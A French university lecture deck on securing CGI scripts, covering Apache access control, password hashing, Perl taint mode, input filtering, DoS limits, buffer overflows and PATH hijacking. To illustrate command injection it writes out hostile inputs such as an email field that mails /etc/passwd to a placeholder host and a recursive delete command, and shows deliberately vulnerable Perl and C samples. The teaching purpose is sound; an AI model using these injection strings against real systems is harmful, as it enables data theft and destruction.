JAVASCRIPT et CGI en 3 leçons

auroratexicoSecurity

Jun 19, 2012 (4 years and 10 months ago)

576 views

JAVASCRIPT et CGI
en 3 leçons
Leçon n°3 : CGI et sécurité
Ph. Leray CGI et Sécurité 1
Plan
❚ Protection des données et des fichiers
❙ Gestion des accès par Apache
❙ Droits d'accès aux fichiers de données
❙ Cryptage des données (passwords, …)
❚ Ecrire des scripts sécurisés pour éviter
❙ L'exécution de commandes "non désirées"
❙ La consommation excessive de ressources systèmes
(attaque de type DOS, Denial Of Service)
❙ Le débordement de buffer (Buffer Overflow) …
❚ Exemples de sécurisation de CGI Perl
Ph. Leray CGI et Sécurité 2
Gestion des accès
❚ Principe : restreindre l'accès (via le serveur http)
aux pages web ET aux scripts CGI
❚ Solution Apache :
❙ au niveau du fichier de configuration général
❙ localement dans des fichiers .htaccess
❙ un fichier .htpasswd contient une liste d'utilisateurs +
passwords (cryptés)
❘ manipulation du fichier grâce à la commande htpasswd
fournie par Apache
❙ voir la doc. d'Apache pour une gestion avancée des
accès.
Ph. Leray CGI et Sécurité 3
Exemple de fichier .htacces
❙ AuthUserFile : emplacement du .htpasswd
❙ AuthGroupFile : gestion de groupes
❙ AuthName : nom d'emplacement dans lequel les noms et les mots
de passe des utilisateurs sont valides.
❙ AuthType : type de contrôle d'autorisation (Basic).
❙ <limit> limite l'utilisation de certaines méthodes (GET, POST, ...)
AuthUserFile /chemin/vers/.htpasswd
AuthGroupFile /dev/null
AuthName ByPassword
AuthType Basic
<limit get post >
require valide-user
</limit >
Ph. Leray CGI et Sécurité 4
Protection des données
❚ Le script CGI est exécuté sur le serveur …
mais par qui ?
❙ Sous Unix, le script est exécuté par l'utilisateur nobody
❚ Vous êtes propriétaire du script …ainsi que des
fichiers de données.
❙ Si le script doit sauvegarder des infos, le fichier de
données doit être accessible en écriture par nobody …
❚ Solution simple (celle à éviter !)
❙ le fichier de données doit être accessible en ECRITURE à
"other" (et donc à nobody)
Ph. Leray CGI et Sécurité 5
Protection des données
❚ Autres solutions (toujours sous Unix):
❙ droits SUID : le script s'exécute avec VOS permissions
d'accès (et peut donc écrire dans un de vos fichiers)
❘ dangereux si beaucoup de personnes ont accès au serveur
(ex. servasi …)
❙ utiliser un programme intermédiaire (CGI Wrapper) qui
exécute le script sous l'UID de son propriétaire et fait
des vérifications de sécurité
❘ CGIwrap
❘ sbox
❘ suEXEC (inclus dans Apache)
Ph. Leray CGI et Sécurité 6
Cryptage des données
❚ Vous voulez stocker des passwords ou autres
dans un fichier de données ou dans le
programme … évitez le codage en clair :
❚ (c'est du PHP, mais même problème pour les
CGI, le Javascript…)
➨ Cryptez vos données
<?
$pass=strtolower($pass);
if ($pass=="pandora")
{ ………………}
?>
Ph. Leray CGI et Sécurité 7
Cryptage des données
❚ Ex en Perl :
# Saisie et cryptage d'un mot de passe (sans étape de vérification).
sub LitPWD {
my ( $pwd1, $salt);
my @schars = (a .. z, A .. Z, 0 .. 9);
print "password: "; $pwd1 = <STDIN>; chop($pwd1);
length($pwd1) >= 8 || die "Au moins 8 caractères SVP.\n";
# Generate a random salt value for encryption:
srand(time || $$);
$salt = $schars[rand($#schars)] . $saltchars[rand($#schars)];
return crypt($pwd1, $salt);
}
Ph. Leray CGI et Sécurité 8
Accès aux fichiers de données
❚ Un même script CGI peut être exécuté par
plusieurs personnes en même temps …
❚ Il faut empêcher que plusieurs personnes
accèdent au fichier de données en même temps !
❚ Une ruse :
❙ si le fichier est disponible, on change son extension
pour dire qu'il est bloqué … et on la remet correctement
après utilisation …
❙ pour vérifier si un fichier est disponible il suffit de
vérifier son extension ...
Ph. Leray CGI et Sécurité 9
Écriture de scripts sécurisés
❚ Il faut prévoir les "détournements" possibles de
ce que fait votre script

❙ Cette ligne semble tout a fait inoffensive
❙ mais si l'utilisateur tape `rm /* -fr` ???
ou `mail hacker@xxx.xxx < /etc/password` ???
(le `provoque l'exécution de la commande qui suit)
➨ Il faut vérifier tout ce qui est envoyé par
l'utilisateur avant d'effectuer les traitements.
echo "vous avez envoyé le message suivant: $MESSAGE".
Ph. Leray CGI et Sécurité 10
Exemple
❚ Script Perl qui envoie un mail à une adresse spécifiée dans
un formulaire
❚ Détournement du CGI : tapez comme adresse :
aa@nowhere.com;mail hack@xx.xx</etc/passwd;
❚ La commande open va donc exécuter :
/usr/lib/sendmail a@nowhere.com;
mail hack@xx.xx</etc/passwd
$mail_to = &get_name_from_input; # read the address from form
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
Ph. Leray CGI et Sécurité 11
Exemple
❚ Version sécurisée
❙ il faut vérifier l'absence de caractères louches
&;`'\"|*?~<>^()[]{}$\n\r
❙ ou contrôler la syntaxe du texte saisi (exp. regulière)
$mail_to = &get_name_from_input; # read the address from form
unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) {
die 'Address not in form foo@nowhere.com';
}
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
Ph. Leray CGI et Sécurité 12
Le mode TAINT de Perl
❚ On appelle Perl avec l'option -T
❚ Perl produira des avertissement dès qu'une
commande parait peut sûre.

❚ Inconvénient : il est long et difficile de respecter
l'ensemble des contraintes de sécurités.
open FILE,">$ARGV[0]";
Insecure dependency in open while running with -T switch at ...
# version sécurisée
$fichier=$ARGV[0];
die "le fichier contient des caractères interdits" if($fichier !~ m/^([\w.-]+)$/);
$fichier=$1;
Ph. Leray CGI et Sécurité 13
Quelques conseils
❚ Ne faire confiance à aucune donnée
❚ Vérifier toutes les données, même celles
théoriquement vérifiées "côté utilisateur" par du
JavaScript (les données ont pu être envoyées
par un autre moyen)
❚ Vérifier toutes les valeurs de retour des appels
systèmes
❙ exemple : open FILE,$fichier or die
❚ Employer le commutateur -w et le pragma use
strict pour s'assurer que Perl ne fait pas de
supposition incorrectes.
Ph. Leray CGI et Sécurité 14
#!/usr/bin/perl -w -T
use CGI;
use strict;
my($query,$nom,$prenom,$UV,$UVcourt,$comment,$login);

$query=CGI::new();
$nom = $query->param('nom')
$nom =~ m/([\w -]+)/; # Filtrage des caractères dangereux
$nom=$1;
Exemple de script sécurisé
Attention : ce n'est qu'un extrait du script CGI … il y a
d'autres choses à rajouter pour obtenir un script encore
plus sur !!!!!
Ph. Leray CGI et Sécurité 15
Empêcher ...
❚ les attaques de type DOS (Denial Of Service):
❙ un script Perl lancé en boucle par un pirate peut
rendre inactif le système, voir le faire "crasher" en
occupant toute sa mémoire et sa CPU ! (flood)
❙ solutions:
❘ limiter la consommation CPU et mémoire allouée aux scripts
exécutés par le serveur web (directives Apache RlimitCPU et
RLimitMEM).
❘"précompiler" le script pour que le serveur ne repète pas
cette opération à chaque exécution du CGI (module apache
mod_Perl)
Ph. Leray CGI et Sécurité 16
Empêcher ...
❚ Extrait d'un "bon" fichier httpd.conf
pour les CGI en Perl
RLimitCPU 10 30
RLimitMEM 4096000 4096000
RLimitNPROC 10 20
...
Alias /Perl/ /chemin_menant_vers_les scripts_Perl/
<Location /Perl>
SetHandler Perl-script
PerlHandler Apache::Registry
Options ExecCGI
</Location>
PerlModule Apache::Registry
PerlModule CGI
PerlSendHeader On
Ph. Leray CGI et Sécurité 17
Empêcher ...
❚ Buffer overflow
❙ si la taille de la donnée envoyée est supérieure à
celle de la variable utilisée dans le script pour la
stocker :
❘ meilleur des cas : le script fait un core.
❘ pire des cas : exploitation de failles de sécurité pour
exécuter des commandes à distance.
❙ solution :
❘ vérifier la taille des entrées avant tout traitement
❘ refuser le traitement si la taille excède celle attendue.
Ph. Leray CGI et Sécurité 18
Empêcher ...
❚ Exemple
de script C
non sécurisé
(buffer
overflow)
/* Script C non sécurisé */
char * read_POST()
{
int query_size;
char *query_string;
query_string=(char*)malloc(1024);
query_size=atoi(getenv("CONTENT_LENGTH"));
fread(query_string,query_size,1,stdin);
return query_string;
}
main()
{
char *query_string;
query_string=read_POST();
/* traitement ...*/
}

Ph. Leray CGI et Sécurité 19
Empêcher ...
❚ Exemple de script Perl sécurisé
contre le "buffer overflow"
#!/usr/bin/perl -w -T
use CGI;
use strict;
my($query,$nom,$prenom,$UV,$UVcourt,$comment,$login);

$query=CGI::new();

# protection contre un buffer overflow
&affich("Vous avez entré trop de donnée, limitez vous à 10 Ko SVP")
if($ENV{'CONTENT_LENGTH'}>10*1024*1024);
$nom = $query->param('nom')
$nom =~ m/([\w -]+)/; # Filtrage des caractères dangereux
$nom=$1;
Ph. Leray CGI et Sécurité 20
Empêcher ...
❚ Le détournement de commandes systèmes…
❙ Imaginez que l'on puisse modifier à distance la
variable d'environnement PATH.
❙ Si votre script exécute une commande système sans
spécifier son adresse absolue, c'est la commande du
pirate qui sera exécutée !
➨Indiquez toujours le chemin absolu des commandes
systèmes que vous utilisez !
# Classe …
system("/bin/ls -l /local/web/foo");
# Pas classe ...
system("ls -l /local/web/foo");
Ph. Leray CGI et Sécurité 21
Empêcher ...
❚ On enlève les variables d'environnement PATH
#!/usr/bin/perl -w -T
use CGI;
use strict;
$ENV{'PATH'}=""; # on vire les variables PATH
$ENV{'BASH_ENV'}=""; #
my($query,$nom,$prenom,$UV,$UVcourt,$comment,$login);

$query=CGI::new();
# protection contre un buffer overflow
&affich("Vous avez entré trop de donnée, limitez vous à 10 Ko SVP")
if($ENV{'CONTENT_LENGTH'}>10*1024*1024);
$nom = $query->param('nom')
$nom =~ m/([\w -]+)/; # Filtrage des caractères dangereux
$nom=$1;
Ph. Leray CGI et Sécurité 22
Empêcher …
❚ Le détournement des variables "hidden" d'un
formulaire
❙ Les variables hidden sont visibles dans le source html !
❙ l'utilisateur "mal intentionné" peut mettre ce qu'il veut
dans ces variables avant d'appeler le script CGI …
➨Solution "extrême" :
Ne pas utiliser de variables cachées
➨Solution "intermédiaire" :
Ne pas faire confiance à ces variables
Ph. Leray CGI et Sécurité 23
Utiliser des CGI existants
❚ Il existe de plus en plus de sites proposant des
scripts CGI en Perl, des programmes PHP, …
❚ Il faut vérifier que :
❙ le script n'est pas connu pour ces failles de sécurité :-)
❙ la version que vous installez est la dernière en date
❙ le script suit au moins les règles de sécurité de base
(cf. les fichiers source …)
❚ Maintenance :
❙ vérifier régulièrement les mises à jours du script et les
alertes de sécurité !
Ph. Leray CGI et Sécurité 24
Présentation du TP
❚ Ré-écrire le TP précédent en Perl
❙ utilisez la librairie CGI …
❚ Sécuriser le script
❚ Préparer un CR pour la semaine prochaine
❙ comment avez-vous utilisé les CGI pour votre sujet ?
❙ liste des bugs rencontrés et leur (non) résolution
éventuelle
❙ avez-vous tout sécurisé et comment ?
❙ conclusions et avis sur le TP
Ph. Leray CGI et Sécurité 25
Bibliographie
❚ Livres de référence :
❙ Programmation CGI - S. Gundavaram (O'Reilly)
❙ Perl in a Nutshell
❙ Using Perl for Web Programming
❚ Sur le Web :
❙ W3C Security Faq
http
://
www
.w3.
org
/
Security
/
Faq
/
❙ Perl CGI Programming (chap.5)
http
://
www
.
perl
.
com
/CPAN-
local/
doc
/FAQs/
cgi
/
perl
-
cgi
-
faq
.
html
❙ CGI Security : Better safe than sorry
http
://
tech
.
irt
.
org
/articles/js184/index.
htm